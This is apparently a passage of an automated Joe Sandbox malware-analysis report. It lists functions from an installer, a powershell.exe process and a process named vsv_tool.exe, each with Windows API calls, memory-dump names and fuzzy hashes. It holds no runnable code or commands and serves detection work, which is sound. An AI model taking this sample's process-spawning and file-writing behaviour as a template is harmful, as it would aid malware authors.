Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: powershell.exePID: 7032, Parent PID: 4348COMMON

Executed Functions

Function 077C1798 Relevance: 14.6, Strings: 11, Instructions: 851COMMON

Download Yara Rule

Strings

$tq, xrefs: 077C17AA
4'tq, xrefs: 077C1DA6
$tq, xrefs: 077C17D0
4'tq, xrefs: 077C19A5
4'tq, xrefs: 077C1F0A
4'tq, xrefs: 077C1DB0
tPtq, xrefs: 077C1815
4'tq, xrefs: 077C1999
$tq, xrefs: 077C17DC
4'tq, xrefs: 077C1F00
tPtq, xrefs: 077C1821

Memory Dump Source

Source File: 00000010.00000002.2154114053.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$tPtq$tPtq$$tq$$tq$$tq
API String ID: 0-2659758652
Opcode ID: f1f2939d31f6902a181cfe9c4e72c2abbcfa1e5173521b1af18260abca5992fe
Instruction ID: 6df67a211182cfe5a17d7caf224cb21fa171f6adb68c44eea204d6bdef0e502d
Opcode Fuzzy Hash: f1f2939d31f6902a181cfe9c4e72c2abbcfa1e5173521b1af18260abca5992fe
Instruction Fuzzy Hash: DA5258F170424D9FDB25DB6988006BABBA2AFCA391F5484BFD905CF252DB35C841C7A1

Function 04C05E30 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07f96ccd1c6a4fd31c499767d6b62e39099de98fdbf3afbafe84bb6410627fb6
Instruction ID: 34710b2379ba8d3465a1eb1227f7e53aa3b73c624342ea1fe136f6f94a84960d
Opcode Fuzzy Hash: 07f96ccd1c6a4fd31c499767d6b62e39099de98fdbf3afbafe84bb6410627fb6
Instruction Fuzzy Hash: F8121A74A002199FCB14CF98C484AADFBB2FF88310F258559E849AB395C735ED91CF90

Function 04C02F68 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b98ff67f3631940d6055445d0a17300738301c091c67448c73129517fef194
Instruction ID: 70f44609bb20ae52dcbfad50312f7f6bb292b7a979b45d10cfde0976986ee5da
Opcode Fuzzy Hash: a4b98ff67f3631940d6055445d0a17300738301c091c67448c73129517fef194
Instruction Fuzzy Hash: DF123F74A052499FCB05CFA8C494AADFBB2FF49310F25C559E805AB3A1C735ED81CB90

Function 04C033E0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8eb4cda1df2a2c7e43caabffc5fb49a11e7744432140e6c4ee7cd2192a5d54
Instruction ID: b9cff37e2981157d36d63ee1131cf7e2e73fa1eeb41ce44e9c9631518542a3a4
Opcode Fuzzy Hash: 0d8eb4cda1df2a2c7e43caabffc5fb49a11e7744432140e6c4ee7cd2192a5d54
Instruction Fuzzy Hash: 074129B4A005498FCB06CF98C4949AEFBB2FF48310B158699D805AB3A4C736FD51CFA4

Function 04C033F0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1802dc018d5398dce8084161a1773e66da3332649a19273005a44ddf75c5ef64
Instruction ID: 78b8f109bc99bc2e2b4c8b2c49469bd535837ae7cbbaec5e8a11fb2de764ff64
Opcode Fuzzy Hash: 1802dc018d5398dce8084161a1773e66da3332649a19273005a44ddf75c5ef64
Instruction Fuzzy Hash: F34117B4A005499FCB06CF98C4949AEFBB2FF48310B658559D905AB3A4C732FD51CBA0

Function 04C02AA0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a9043ea86ec1356b620775e15de4b20ecb771a0784646d3ad664a4b4cb0f06
Instruction ID: c6bf1a83057417633d07746642e82d53a5cd82706f908d50ed3292cb680e8762
Opcode Fuzzy Hash: 51a9043ea86ec1356b620775e15de4b20ecb771a0784646d3ad664a4b4cb0f06
Instruction Fuzzy Hash: AB21F6B4A046199FCB01CF59C8849AAFBB2FF49310B1485A6E509EB761C735FD41CBA1

Function 04C02A90 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7ca47b7483fb393873270f203b4afb7fde0066bff0baf984f18fa923b7d598
Instruction ID: fc35ee013c0aa1f8d55bfa5911c56a013a9586e34c7536080775069c0696e4ba
Opcode Fuzzy Hash: 8f7ca47b7483fb393873270f203b4afb7fde0066bff0baf984f18fa923b7d598
Instruction Fuzzy Hash: D3210574A006099FCB04CF99C8849AAFBB1FF4C310B2485A9E949EB361C731FD51CBA0

Function 02FFD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149404311.0000000002FFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2ffd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcb1eaaa5dbb2f4f8c30ab4d72b6866ba83ac4d210be402d8561d75059c4f016
Instruction ID: 05dc6c2481f5796cce1033a5102886bcbd6e5decb9ff8c562694e3a117b15417
Opcode Fuzzy Hash: fcb1eaaa5dbb2f4f8c30ab4d72b6866ba83ac4d210be402d8561d75059c4f016
Instruction Fuzzy Hash: C1012B72505340AAE7608A1ACCC4B67BFE8DF41BA4F08C52AEF084F55AC3799841C6B1

Function 02FFD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149404311.0000000002FFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2ffd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b55f97027e92a6e1ba710e8d2b4b2bb126948488b714216109319f0bd31ff01
Instruction ID: a15714c4e575f7635f2ddde11b9dbda38e315b3f7c2971ee770f6e3eea96f155
Opcode Fuzzy Hash: 9b55f97027e92a6e1ba710e8d2b4b2bb126948488b714216109319f0bd31ff01
Instruction Fuzzy Hash: F701527240E3C09ED7138B258C94B52BFB4DF43624F1D81DBDA888F5A7C2695849C772

Function 04C0491B Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2149721885.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70307aae6b2937e88648396fa8463e926015cbb341c390ee47112555644d277a
Instruction ID: 72e1babc297830ec38bdbabd46045a6a1530ee4cb37a4cc3297bedc995464a1b
Opcode Fuzzy Hash: 70307aae6b2937e88648396fa8463e926015cbb341c390ee47112555644d277a
Instruction Fuzzy Hash: 980162B8B002199FCB04DB98D490AAEF775FF8D314B2481A9D95A9B361CB35EC03CB50

Non-executed Functions

Function 077C08A0 Relevance: 9.1, Strings: 7, Instructions: 315COMMON

Download Yara Rule

Strings

4'tq, xrefs: 077C09AE
tPtq, xrefs: 077C0AF9
$tq, xrefs: 077C0AA8
4'tq, xrefs: 077C09A2
$tq, xrefs: 077C0A82
tPtq, xrefs: 077C0AED
$tq, xrefs: 077C0AB4

Memory Dump Source

Source File: 00000010.00000002.2154114053.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$tPtq$tPtq$$tq$$tq$$tq
API String ID: 0-3181550632
Opcode ID: e34473459932d986f91dfbbbab1876aa5e45b5ac559d2ae1bd57259540c3bbdf
Instruction ID: 8115f8640b958e61d8f345c78fd9817d71a6963931feb157df2609983d53b5e5
Opcode Fuzzy Hash: e34473459932d986f91dfbbbab1876aa5e45b5ac559d2ae1bd57259540c3bbdf
Instruction Fuzzy Hash: 16A122B270821ACFD725DA698C1067AFBA1AFCA390F1884AFD945CB251DB35C841C7E1

Function 077C14E8 Relevance: 6.4, Strings: 5, Instructions: 190COMMON

Download Yara Rule

Strings

4'tq, xrefs: 077C159E
4'tq, xrefs: 077C1592
$tq, xrefs: 077C16A6
$tq, xrefs: 077C169A
$tq, xrefs: 077C166F

Memory Dump Source

Source File: 00000010.00000002.2154114053.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq
API String ID: 0-2409360608
Opcode ID: 69acf29b0c6ca43a6965bee586f1ab80c788ba3cf7d12297973e974d819a7021
Instruction ID: 247faa63d265ef84f62367344b1c9c0a118172253cb089acc709574d6556c45f
Opcode Fuzzy Hash: 69acf29b0c6ca43a6965bee586f1ab80c788ba3cf7d12297973e974d819a7021
Instruction Fuzzy Hash: A95157F1B0420E8FCB25D66D9400766BBA6AFCA394F58847FD906DB242DE35C851C7A1

Function 077C3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$tq, xrefs: 077C3546
$tq, xrefs: 077C352A
$tq, xrefs: 077C3574
$tq, xrefs: 077C3580

Memory Dump Source

Source File: 00000010.00000002.2154114053.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: a86ce014144130ac527030770c404513eeb1b80c1c32b68d6367e45b3d9b310d
Instruction ID: cb27b1a24f24d667c3491eea4b3d1c089689fec08046331810d3a0393fd2ac3d
Opcode Fuzzy Hash: a86ce014144130ac527030770c404513eeb1b80c1c32b68d6367e45b3d9b310d
Instruction Fuzzy Hash: 072138B13142066BDB34957EA840B37FE9A9BC9394F24C43EAA05DB381DE39D841C363

Function 077C0570 Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

$tq, xrefs: 077C05C6
4'tq, xrefs: 077C05E7
4'tq, xrefs: 077C05DB
$tq, xrefs: 077C05BA

Memory Dump Source

Source File: 00000010.00000002.2154114053.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq
API String ID: 0-3085001694
Opcode ID: 40f1d46031bc972d71cd99bbd0e3cb8ddb6840660aaff2e6cbb6789f0d9c48a4
Instruction ID: a592df0b124c623b22f4fc73ab30573bb23d30e80b0ba0f1dd08765666f21da6
Opcode Fuzzy Hash: 40f1d46031bc972d71cd99bbd0e3cb8ddb6840660aaff2e6cbb6789f0d9c48a4
Instruction Fuzzy Hash: E1F02DD170C2598BC72A51683C20A65DB72DBDA7D0724005FC742DF345DD258C42C3E2

Analysis Process: vsv_tool.exePID: 2136, Parent PID: 6944COMMON

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	140
Total number of Limit Nodes:	6

Executed Functions

Function 00BE51EB Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BE518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00BE51BB

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 00BE524F

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction ID: 60b55acb35e03e594bcf4fd4b1fb6670d6ba4718d70a5c58876246335d3cd1c5
Opcode Fuzzy Hash: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction Fuzzy Hash: A15128B5D00649EFCB14CF99C880AEEB7F5FF48304F208199E915AB340D775AA41CBA4

Function 00BE4ACB Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 00BE4AED

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction ID: d4fb8ca63fd9a9e53bc17e2ad47db4056b63b84108b1ac33a5ed965938d0f665
Opcode Fuzzy Hash: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction Fuzzy Hash: 37319B75A00108FFCB14DF99C891F9EB7B9EF48310F208199E919AB291D771AE41DB54

Function 00BE50BB Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00BE50DD
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 00BE510B

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: 8483633609da24ef8fb71fbc7b70b3a783a620ac00677e39849fb342dc3a4a6f
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: 9801E175640508FBDB10DE59DD91F9A73B9AF48314F20C194FA19AB291D731EE02DB90

Function 00BE46FB Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BE518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00BE51BB

LoadLibraryW.KERNELBASE(?), ref: 00BE472C

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
